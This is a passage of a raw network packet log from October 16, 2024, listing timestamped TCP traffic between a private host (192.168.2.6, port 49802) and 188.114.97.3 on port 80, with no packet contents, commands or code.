                                                                                    Oct 16, 2024 10:58:23.670516968 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.670527935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.670536995 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.670545101 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.670553923 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.670562029 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.670563936 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.670572042 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.670582056 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.670592070 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.670599937 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.670609951 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.670610905 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.670622110 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.670638084 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.670649052 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.670669079 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.670877934 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.670898914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.670908928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.670926094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.670936108 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.670942068 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.670962095 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.670979023 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671041965 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671052933 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671062946 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671072960 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671103001 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671122074 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671133995 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671143055 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671150923 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671155930 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671155930 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671161890 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671190023 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671195030 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671205997 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671212912 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671215057 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671226978 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671240091 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671250105 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671258926 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671264887 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671274900 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671278000 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671286106 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671295881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671304941 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671305895 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671315908 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671324015 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671350002 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671453953 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671505928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671515942 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671530008 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671539068 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671544075 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671549082 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671555996 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671581030 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671627045 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671638012 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671648026 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671657085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671669006 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671696901 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671699047 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671708107 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671717882 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671752930 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671766996 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671776056 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671785116 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671796083 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671796083 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671806097 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671807051 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671837091 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671859026 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671878099 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671890020 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671899080 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671926022 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671926975 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671936989 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671946049 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.671952009 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.671972990 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672005892 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672022104 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672039032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672049046 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672063112 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672064066 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672074080 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672075033 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672096014 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672107935 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672174931 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672185898 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672199965 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672209024 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672215939 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672221899 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672234058 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672240973 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672265053 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672285080 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672317028 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672358036 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672384024 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672394037 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672403097 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672427893 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672440052 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672481060 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672507048 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672514915 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672522068 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672535896 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672555923 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672559977 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672570944 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672583103 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672607899 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672637939 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672657967 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672667980 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672677040 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672696114 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672715902 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672728062 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672736883 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672746897 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672756910 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672765970 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672765970 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672791958 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672823906 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672831059 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672873974 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672875881 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672884941 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672911882 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672924042 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.672946930 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672957897 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672966003 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.672986031 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.673002958 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.673018932 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.673028946 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.673038006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.673046112 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.673063993 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.673080921 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.727305889 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.727349997 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.727355003 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.727361917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.727366924 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.727457047 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.729355097 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.729366064 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.729377031 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.729388952 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.729409933 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.729424953 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.729511023 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.729521036 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.729545116 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.729553938 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.729562998 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.729566097 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.729578972 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.729619026 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.729649067 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.729660034 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.729695082 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.729722977 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.729732990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.729742050 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.729749918 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.729763985 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.729788065 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.729825020 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.729834080 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.729866982 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.766537905 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.766562939 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.766578913 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.766591072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.766601086 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.766619921 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.766655922 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.783224106 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.783238888 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.783250093 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.783258915 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.783269882 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.783279896 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.783297062 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.783341885 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787179947 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787297964 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787312984 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787322998 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787332058 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787352085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787350893 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787362099 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787369013 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787377119 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787406921 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787417889 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787426949 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787436008 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787446022 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787453890 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787463903 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787473917 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787473917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787508011 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787507057 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787518024 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787528038 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787535906 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787535906 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787549019 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787556887 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787565947 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787575006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787581921 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787600994 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787611008 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787625074 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787635088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787643909 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787652969 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787662983 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787673950 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787700891 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787756920 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787792921 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787846088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787854910 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787864923 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787873983 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787878990 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787883997 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787890911 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787894964 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787920952 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787931919 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787938118 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787970066 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.787985086 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.787995100 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788023949 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788043022 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788053989 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788070917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788079977 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788080931 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788094997 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788103104 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788111925 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788120985 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788121939 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788134098 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788144112 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788167953 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788321972 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788331032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788341045 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788369894 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788379908 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788384914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788394928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788403988 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788414001 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788428068 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788440943 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788496017 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788513899 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788522959 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788530111 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788532972 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788542986 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788552999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788556099 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788563013 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788570881 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788575888 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788588047 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788609982 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788646936 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788706064 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788717031 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788727045 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788737059 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788744926 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788758993 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788778067 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788824081 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788835049 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788842916 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788873911 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788887978 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788938046 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788949013 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788959980 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788973093 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.788983107 CEST8049802188.114.97.3192.168.2.6
